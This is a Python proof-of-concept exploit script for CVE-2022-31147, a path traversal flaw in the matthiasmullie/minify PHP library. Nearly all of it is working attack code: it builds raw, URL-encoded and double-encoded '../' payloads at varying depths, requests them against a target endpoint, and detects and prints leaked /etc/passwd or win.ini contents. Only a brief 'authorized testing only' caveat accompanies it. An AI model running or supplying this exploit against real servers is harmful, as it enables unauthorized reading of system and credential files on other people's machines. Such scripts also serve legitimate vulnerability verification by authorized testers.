#!/usr/bin/env python3 """ CVE-2022-31147 PoC — Path Traversal / Arbitrary File Read in matthiasmullie/minify USAGE (authorized targets only): python3 cve-2022-31147_poc.py --base https://yourdomain.tld/cdn/minify --linux --file /etc/passwd python3 cve-2022-31147_poc.py --base https://yourdomain.tld/cdn/minify --windows --file C:\\Windows\\win.ini python3 cve-2022-31147_poc.py --base http://127.0.0.1:8080/cdn/minify --file /var/www/test.txt Notes: - Only use on systems you own or have explicit permission to test. - If vulnerable, the endpoint may return the content of the target file with a 200 OK and text/plain or text/css. """ import argparse import sys import urllib.parse import requests from typing import List def build_payloads(target_file: str, os_hint: str, max_depth: int = 12) -> List[str]: """ Build a set of traversal payloads trying different depths and encodings. """ ups = "../" if os_hint != "windows" else "..\\\\" # logical; server-side lib usually treats '/' # Most PHP libs normalize '/' so we'll focus on forward slashes primarily. base_trav = "../" payloads = [] for depth in range(3, max_depth + 1): prefix = base_trav * depth p = f"{prefix}{target_file.lstrip('/')}" # Raw payloads.append(p) # URL-encoded traversal payloads.append(p.replace("../", "%2e%2e/")) # Double-encoded traversal payloads.append(p.replace("../", "%252e%252e/")) # Mixed encodings payloads.append(p.replace("../", "..%2f")) # Some apps require a trailing fake extension to pass routing with_ext = [] for p in payloads: with_ext.append(p) with_ext.append(f"{p}.css") with_ext.append(f"{p}?v=1") # Deduplicate preserving order seen = set() uniq = [] for p in with_ext: if p not in seen: seen.add(p) uniq.append(p) return uniq def looks_like_success(content: bytes, os_hint: str) -> bool: text = content.decode(errors="ignore") if os_hint == "windows": # win.ini often contains these markers return ("[extensions]" in text.lower()) or ("fonts" in text.lower()) else: # /etc/passwd markers return ("root:x:" in text) or (":/bin/bash" in text) or ("daemon:x:" in text) def main(): parser = argparse.ArgumentParser(description="CVE-2022-31147 PoC (AUTHORIZED TESTING ONLY)") parser.add_argument("--base", required=True, help="Base minify endpoint, e.g., https://site.tld/cdn/minify") parser.add_argument("--file", default="/etc/passwd", help="Target file path to attempt to read") parser.add_argument("--windows", action="store_true", help="Hint: target is Windows (uses win.ini heuristic)") parser.add_argument("--linux", action="store_true", help="Hint: target is Linux (uses /etc/passwd heuristic)") parser.add_argument("--timeout", type=float, default=15.0, help="Request timeout in seconds") parser.add_argument("--insecure", action="store_true", help="Allow insecure TLS (self-signed)") args = parser.parse_args() os_hint = "linux" if args.windows and not args.linux: os_hint = "windows" base = args.base.rstrip("/") payloads = build_payloads(args.file, os_hint=os_hint) print(f"[i] Testing {len(payloads)} payloads against: {base}") session = requests.Session() session.headers.update({ "User-Agent": "CVE-2022-31147-POC/1.0 (+authorized testing only)" }) found = False for i, payload in enumerate(payloads, 1): url = f"{base}/{payload}" try: resp = session.get(url, timeout=args.timeout, verify=not args.insecure, allow_redirects=True) except requests.RequestException as e: print(f"[{i:03d}] ERR {url} -> {e}") continue ctype = resp.headers.get("Content-Type", "") print(f"[{i:03d}] {resp.status_code:3d} {ctype:25s} {url}") if resp.status_code == 200 and looks_like_success(resp.content, os_hint=os_hint): print("\n[+] POSSIBLE VULNERABILITY DETECTED!") print(f"[+] URL: {url}") print(f"[+] Content-Type: {ctype}") print("[+] Snippet:\n") sample = resp.content.decode(errors="ignore")[:500] print(sample) found = True break if not found: print("\n[-] No obvious successful read detected with basic payloads.") print(" The target may be patched, protected by routing/WAF, or require different depth/encoding.") print(" Try --file with a known-accessible test file you created on the server.") if __name__ == "__main__": try: main() except KeyboardInterrupt: sys.exit(1)